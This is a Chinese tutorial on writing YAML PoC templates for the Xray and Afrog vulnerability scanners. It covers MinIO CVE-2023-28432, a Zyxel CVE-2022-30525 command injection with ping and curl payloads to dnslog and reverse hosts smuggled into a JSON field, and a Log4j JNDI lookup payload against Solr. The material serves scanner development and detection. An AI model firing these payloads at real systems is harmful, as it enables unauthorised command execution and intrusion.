漏洞发现-漏扫项目篇Poc开发Yaml语法反链判断不回显检测Yaml生成

news2024/11/24 4:21:26

知识点

1、Xray&Afrog-Poc开发-环境配置&编写流程
2、Xray-Poc开发-数据回显&RCE不回显&实验室
3、Afrog-Poc开发-数据回显&RCE不回显&JDNI注入

章节点:
漏洞发现-Web&框架组件&中间件&APP&小程序&系统
扫描项目-综合漏扫&特征漏扫&被动漏扫&联动漏扫
Poc开发-Ymal语法&联动导入&项目拓展
扫描插件-Burpsuite插件&浏览器插件&自动模版

一、演示案例-Xray&Afrog-Poc开发-环境配置&编写流程

开发环境:Vscode+Yaml插件

https://code.visualstudio.com/
在这里插入图片描述
在这里插入图片描述

二、演示案例-Xray-Poc开发-数据回显&RCE不回显&实验室

1、开发参考:

xray poc模板生成(类似nuclei bp插件):https://poc.xray.cool/
xray poc官方参考:https://docs.xray.cool/plugins/practice/poc/Template
Xray Poc如何编写:https://mp.weixin.qq.com/s/XeF10F5xw19AymX34vALIw
https://cloud.tencent.com/developer/article/1949351

2、分析技巧:

配置config.yaml,使用代理看数据包分析(记得生成证书及安装)

3、调试Poc:

.\xray --log-level debug webscan --poc .\test.yaml --url https://xx.xx.xx.xx:xxxx

第一部分:# 名称部分

name: string                 
poc名称如:poc-yaml-tongda-oa-rce

第二部分:rules: []Rule # 脚本部分

poc规则:poc请求路径,请求内容,回显信息都由此匹配
method: string 请求方法
path: string 请求的完整Path,包括querystring等
headers: map[string]string 请求HTTP头,Rule中指定的值会被覆盖到原始数据包的HTTP头中
body: string 请求的Body
follow_redirects: bool 是否允许跟随300跳转
expression: string
search: string
method、path、headers、body、follow_redirects的作用是生成检测漏洞的数据包
expression的作用是判断该条Rule的结果
search的作用是从返回包中提取信息

第三部分:# 信息部分

detail: map[string]string    
就是平时xray扫描得到漏洞时xray返回的那一串爆红信息

1、有回显匹配结果自动判断-CVE-2023-28432

https://github.com/vulhub/vulhub/blob/master/minio/CVE-2023-28432/README.zh-cn.md

# 名称部分
name: poc-yaml-CVE-2023-28432

# 脚本部分
transport: http
rules:
    r1:
        request:
            method: POST
            path: "/minio/bootstrap/v1/verify"
            headers:
                Content-Type: application/x-www-form-urlencoded
        expression: |
            response.status==200 && response.body_string.contains("MINIO_ROOT_PASSWORD")
expression:
    r1()

# 信息部分
detail:
    author: xiaodisec
    links: 
        - https://github.com/vulhub/vulhub/blob/master/minio/CVE-2023-28432/README.zh-cn.md

在这里插入图片描述

2、无回显直接写死,观察平台回显判断是否存在漏洞-CVE-2022-30525

https://blog.csdn.net/weixin_43080961/article/details/124776553

name: poc-yaml-CVE-2022-30525
manual: true
transport: http
rules:
  r0:
    request:
      method: POST
      path: /ztp/cgi-bin/handler
      body: '{"command":"setWanPortSt","proto":"dhcp","port":"4","vlan_tagged":"1","vlanid":"5","mtu":";ping -c 3 nml0kn.dnslog.cn;","data":"hi"}'
      headers:
        Content-Type: application/json
    expression: response.status==200
expression: r0()
detail:
  author: xiaodisec
  links:
    - https://blog.csdn.net/weixin_43080961/article/details/124776553

在这里插入图片描述
在这里插入图片描述

3、反连写法及启动配置(解决无回显RCE及其他)

在这里插入图片描述

参考地址:https://blog.csdn.net/m0_60571842/article/details/135591127

name: poc-yaml-CVE-2022-30525
manual: true
set:
  reverse: newReverse()
  reverseURL: reverse.url
  reverseDomain: reverse.domain
transport: http
rules:
  r0:
    request:
      cache: true
      method: POST
      path: /ztp/cgi-bin/handler
      body: '{"command":"setWanPortSt","proto":"dhcp","port":"4","vlan_tagged":"1","vlanid":"5","mtu":";curl {{reverseURL}};","data":"hi"}'
      headers:
        Content-Type: application/json
    expression: reverse.wait(5) //这里的写法决定了工具能不能探测出来
expression: r0()
detail:
  author: xiaodisec
  links:
    - http://www.xiaodi8.com

三、演示案例-Afrog-Poc开发-数据回显&RCE不回显&JDNI注入

1、开发参考:

https://github.com/zan8in/afrog/wiki

2、分析技巧:

执行加入参数proxy,使用代理看数据包分析

3、指定Poc:

afrog.exe -t https://xx.xx.xx.xx -P xxxx.yaml
第一部分:id info 编号 信息(类似nuclei)
第二部分:set rules 变量 脚本(类似xray)
第三部分:expression 判断 执行(类似xray)

1、HTTP/S数据回显Poc开发-CVE-2023-28432

环境:MinIO集群模式信息泄露漏洞(CVE-2023-28432)
https://vulhub.org/#/environments/minio/CVE-2023-28432/
测试:

afrog.exe -t https://xx.xx.xx.xx:xxxx -P minio.yaml
id: CVE-2023-28432
info:
  name: My PoC demo1
  author: xiaodisec
  severity: critical
rules:
  r0:
    request:
      method: POST
      path: /minio/bootstrap/v1/verify
      headers:
        Content-Type: application/x-www-form-urlencoded
    expression: response.status == 200 && response.body.bcontains(b'MINIO_ROOT_PASSWORD')
expression: r0()

在这里插入图片描述

2、HTTP/S不回显RCE-Poc开发-CVE-2022-30525

环境:某案例 Zyxel 防火墙远程命令注入漏洞
配置:-配置afrog-config.yaml ceye对应信息
测试:

afrog.exe -t https://xx.xx.xx.xx:xxxx -P zyxel.yaml
id: CVE-2022-30525
info:
  name: My PoC demo2
  author: xiaodisec
  severity: critical
rules:
  r0:
    request:
      method: POST
      path: /ztp/cgi-bin/handler
      body: '{"command":"setWanPortSt","proto":"dhcp","port":"4","vlan_tagged":"1","vlanid":"5","mtu":";ping -c 3 cbvq0q.dnslog.cn;","data":"hi"}'
      headers:
        Content-Type: application/json
    expression: response.status == 200 && response.body.bcontains(b'MINIO_ROOT_PASSWORD')
expression: r0()

在这里插入图片描述

id: CVE-2022-30525
info:
  name: My PoC demo3
  author: xiaodisec
  severity: critical
set:
  reverse: newReverse()
  reverseURL: reverse.url
  reverseDomain: reverse.domain
  
rules:
  r0:
    request:
      method: POST
      path: /ztp/cgi-bin/handler
      body: '{"command":"setWanPortSt","proto":"dhcp","port":"4","vlan_tagged":"1","vlanid":"5","mtu":";ping -c 3 {{reverseURL}};","data":"hi"}'
      headers:
        Content-Type: application/json
    expression: reverse.wait(100)  //这里的写法决定了工具能不能探测出来
expression: r0()

这里就会调用自己配置文件里的相关反连平台
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

3、HTTP/S不回显JNDI-Poc开发

环境:Apache Log4j2 lookup feature JNDI injection (CVE-2021-44228)
https://vulhub.org/#/environments/log4j/CVE-2021-44228/

配置:
启动jndi-payload利用:

java -jar JNDIMonitor-2.0.1-SNAPSHOT.jar -i 0.0.0.0 -l 1389 -p 3456

在这里插入图片描述
afrog-config.yaml 里配置JNDI对应信息
在这里插入图片描述
测试:

afrog -t http://192.168.139.128:8983 -P log4j.yaml
id: solr-log4j-rce
info:
  name: Apache Solr Log4j Remote Code Execution
  author: xiaodisec
  severity: critical
  verified: true
  created: 2023/10/16
set:
  reverse: newJNDI()
  jndiURL: reverse.url.host + reverse.url.path
rules:
  r0:
    request:
      method: GET
      path: /solr/admin/collections?action=${jndi:ldap://{{jndiURL}}}&wt=json
    expression: reverse.jndi(5)
expression: r0()

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1531820.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

三连杆滑块机构运动学仿真 | 【Matlab源码+理论公式文本】|曲柄滑块 | 曲柄连杆 | 机械连杆

【程序简介】💻🔍 本程序通过matlab实现了三连杆滑块机构的运动学仿真编程,动态展现了三连杆机构的运动动画,同时给出了角位移、角速度和角加速度的时程曲线,除了程序本身,还提供了机构运动学公式推导文档…

防火墙互联技术

1.防火墙基础配置 2.配置防火墙远程管理 3.配置防火墙管理员角色 4.配置防火墙系统时钟 抓包

自动化测试报告生成(Allure)

🍅 视频学习:文末有免费的配套视频可观看 🍅 关注公众号【互联网杂货铺】,回复 1 ,免费获取软件测试全套资料,资料在手,涨薪更快 之前尝试使用过testNG自带的测试报告、优化过reportNG的测试报告…

备战蓝桥杯D33 - 真题 - 松散子序列

题目描述 解题思路 ps:思路是我看了大佬的题解后自己的理解,自己给自己捋清楚思路。 1.设置输入,将字符串输入 2.因为输入的是字符,但要找出字符的最大价值,所以先将字符串转化成对应的数值。 这时候就要用到ord函…

基于SSM的宿舍管理系统的设计与实现(JSP,MySQL)

摘 要 随着社会发展、信息技术的普及,人们日常管理工作也发生了巨大的变化。信息化技术之渗透各行业的方方面面。学生宿舍管理作为校园管理工作的重要一环,不仅关系到学生自身的确切利益,同时也是对校园管理工作重大考验。近来年由于在校学生…

YOLOv9改进策略:卷积魔改 | 分布移位卷积(DSConv),提高卷积层的内存效率和速度

💡💡💡本文改进内容: YOLOv9如何魔改卷积进一步提升检测精度?提出了一种卷积的变体,称为DSConv(分布偏移卷积),其可以容易地替换进标准神经网络体系结构并且实现较低的存…

MISC:常见编码

一、字符编码 1.ASCII码 使用指定7位或8位二进制数组合表示128-256种可能。 常⻅考点:解题过程中给出十进制或十六进制的连续数值。 进制转换工具: ASCII text,Hex,Binary,Decimal,Base64 converter (rapidtables.com) 2.Base64编码 ASCII编码以8个比特…

RISC-V架构的三种特权模式如何切换

1、RISC-V的三种特权模式 特权模式功能描述机器模式(M-mode)具有最高特权等级,具有访问所有资源的权限,通常运行固件和内核用户模式(U-mode)权限要比M模式低,通常是用来运行操作系统内核管理员…

sqlserver列出表的所有字段名

1、纵向列出所有字段 SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME tablename;2、横向列车所有字段,以‘,’分隔 SELECT STUFF((SELECT , column_nameFROM information_schema.columnsWHERE table_name tablenameFOR XM…

C++进阶:二叉搜索树介绍、模拟实现(递归迭代两版本)及其应用

上次介绍完多态后:C进阶:详解多态(多态、虚函数、抽象类以及虚函数原理详解) 也是要开始继续学习了 文章目录 1.二叉搜索树1.1概念1.2二叉搜索树特性1.3 二叉搜索树的操作 2.模拟实现2.1项目文件规划2.2基本结构2.3各种接口、功能…

【C语言】—— 指针三 : 参透数组传参的本质

【C语言】—— 指针三 : 参透数组传参的本质 一、数组名的理解二、使用指针访问数组2.1、指针访问数组2.2、[ ] 的深入理解2.3、数组与指针的区别 三、一维数组的传参本质四、数组指针变量4.1、数组指针变量是什么4.2、 数组指针的初始化 五、二维数组传参的本质 一…

DML - 增删改(insert into,delete,update)

引言:对比DB / 表结构 : create , drop , alter 本次记录 数据操作 语言: 1.进入 hive 数据库,再打开 ryx1 表 2. insert select 3. update select 4. delete select

外卖项目:使用AOP切面编程实现增删改查的操作日志记录(debug断点调试)

文章目录 一、问题描述二、问题分析三、断掉调试四、代码展示 一、问题描述 需求:将项目中增、删、改相关接口的操作日志记录到数据库表中。 操作日志信息包含: 操作人、操作时间、执行方法的全类名、执行方法名、方法运行时参数、返回值、方法执行时…

武汉星起航:专业团队引领,经验与创新共铸跨境电商新辉煌

在竞争激烈的跨境电商市场中,武汉星起航电商公司凭借其专业的运营团队和多年的行业经验,成功脱颖而出。这支拥有丰富经验的团队,不仅深刻了解跨境电商市场的动态,更通过持续创新和个性化解决方案,为合作伙伴提供了强有…

STM32CubeMX学习笔记26---FreeRTOS互斥量

一、互斥量简介 1、互斥量用于互锁,可以充当资源保护的令牌,当一个任务希望访问某个资源时,它必须先获取令牌,当任务使用完资源后,必须返还令牌,以便其他任务可以访问该资源。 2、互斥量一般用于临界资源…

GPT-4引领AI新纪元,Claude3、Gemini、Sora能否跟上步伐?

【最新增加Claude3、Gemini、Sora、GPTs讲解及AI领域中的集中大模型的最新技术】 2023年随着OpenAI开发者大会的召开,最重磅更新当属GPTs,多模态API,未来自定义专属的GPT。微软创始人比尔盖茨称ChatGPT的出现有着重大历史意义,不亚…

【XXL-JOB】分布式任务调度解决方案,XXL-JOB入门

目录 1 概念2 快速入门2.1 启动xxl-job-admin2.2 创建一个新的定时任务2.3 在调度中心新增定时任务 3 详细介绍3.1 新建执行器3.2 创建任务3.3 其他概念3.3.1 路由策略3.3.2 任务运行模式(BEAN、GLUE)3.3.3 阻塞处理策略3.3.4 子任务3.3.5 任务超时时间 3.4 高级任务用法3.4.1 …

源码编译部署LAMP

编译部署LAMP 配置apache [rootzyq ~]#: wget https://downloads.apache.org/apr/apr-1.7.4.tar.gz --2023-12-11 14:35:57-- https://downloads.apache.org/apr/apr-1.7.4.tar.gz Resolving downloads.apache.org (downloads.apache.org)... 88.99.95.219, 135.181.214.104…

如何用 C++ 部署深度学习模型?

深度学习模型通常在诸如Python这样的高级语言中训练和验证,但在实际生产环境部署时,往往需要更高的执行效率和更低的资源占用。C作为一款性能卓越、低级别的编程语言,是部署深度学习模型的理想选择之一。本文将详细介绍如何在C环境下加载和运…

AI智能客服系统的费用

实现智能客服所需的费用取决于多个因素,包括项目的规模、所选择的技术和服务提供商、数据的获取和处理方式等。以下是一些可能影响费用的因素,希望对大家有所帮助。北京木奇移动技术有限公司,专业的软件外包开发公司,欢迎交流合作…